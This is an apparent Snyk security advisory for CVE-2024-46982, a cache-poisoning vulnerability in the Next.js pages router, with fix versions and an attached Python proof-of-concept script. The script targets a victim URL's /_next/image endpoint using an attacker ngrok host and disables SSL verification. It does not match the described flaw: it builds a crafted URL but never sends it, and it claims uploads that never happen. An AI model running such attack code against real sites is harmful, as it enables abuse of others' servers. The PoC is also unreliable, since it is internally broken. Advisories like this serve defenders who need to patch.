Acceptance of Extraneous Untrusted Data With Trusted Data Affecting next package, versions >=13.5.1 <13.5.7>=14.0.0 <14.2.10


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
53.63% (98th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-NEXT-8025427
  • published18 Sept 2024
  • disclosed17 Sept 2024
  • creditHenry Chen, Allam Rachid

Introduced: 17 Sep 2024

CVE-2024-46982  (opens in a new tab)
CWE-349  (opens in a new tab)

How to fix?

Upgrade next to version 13.5.7, 14.2.10 or higher.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Acceptance of Extraneous Untrusted Data With Trusted Data by sending a crafted HTTP request, which allows the attacker to poison the cache of a non-dynamic server-side rendered route in the page router. This will coerce the request to cache a route that is meant to not be cached and send a Cache-Control: s-maxage=1, a stale-while-revalidate header, which some upstream CDNs may cache as well.

Note:

This is only vulnerable if:

  1. The user is using pages router

  2. The user is using non-dynamic server-side rendered routes.

Users are not affected if:

  1. They are using the app router

  2. The deployments are on Vercel

PoC

import shutil
import os
import requests
from urllib.parse import quote
import time  #Import the time module

source_image = "chillguy.jpg"  #Image file
attacker_url_base = "your_ngrok_url" #your ngrok url
upload_endpoint = "https://victim_url.com"  #victim url

def copy_and_upload_image(file_name, num_copies):
    if not os.path.exists(source_image):
        print(f"File {source_image} not found")
        return

    for i in range(1, num_copies + 1):
        new_image_name = f"chillguy{i}.jpg"#change the name of image file too if you change at line 7 before

        # image file increment
        shutil.copy(source_image, new_image_name)
        print(f"Copy of: {new_image_name}")

        # URL combination
        image_url = f"{upload_endpoint}/_next/image?url={attacker_url_base}/{new_image_name}&w=256&q=100"

        # Deactive SSL verification
        try:
            response = requests.get(upload_endpoint, verify=False)
            if response.status_code == 200:
                print(f"Image {new_image_name} uploaded to {upload_endpoint}, url: {image_url}")
            else:
                print(f"Failed to upload {new_image_name}. Status: {response.status_code}, Response: {response.text}")
        except Exception as e:
            print(f"Error {new_image_name}: {e}")

          # 1 minute delay
        print(f"Wait a minute... {new_image_name}...")
        time.sleep(60) 

        # delete copy of image file on your local system
        os.remove(new_image_name)
        print(f"Delete: {new_image_name}")

#input
try:
    num_copies = int(input("Enter how many copies of your image: "))
    copy_and_upload_image("chillguy.jpg", num_copies)#change the name of image file too if you change at line 7 before
except ValueError:
    print("Please input number only.")

CVSS Base Scores

version 4.0
version 3.1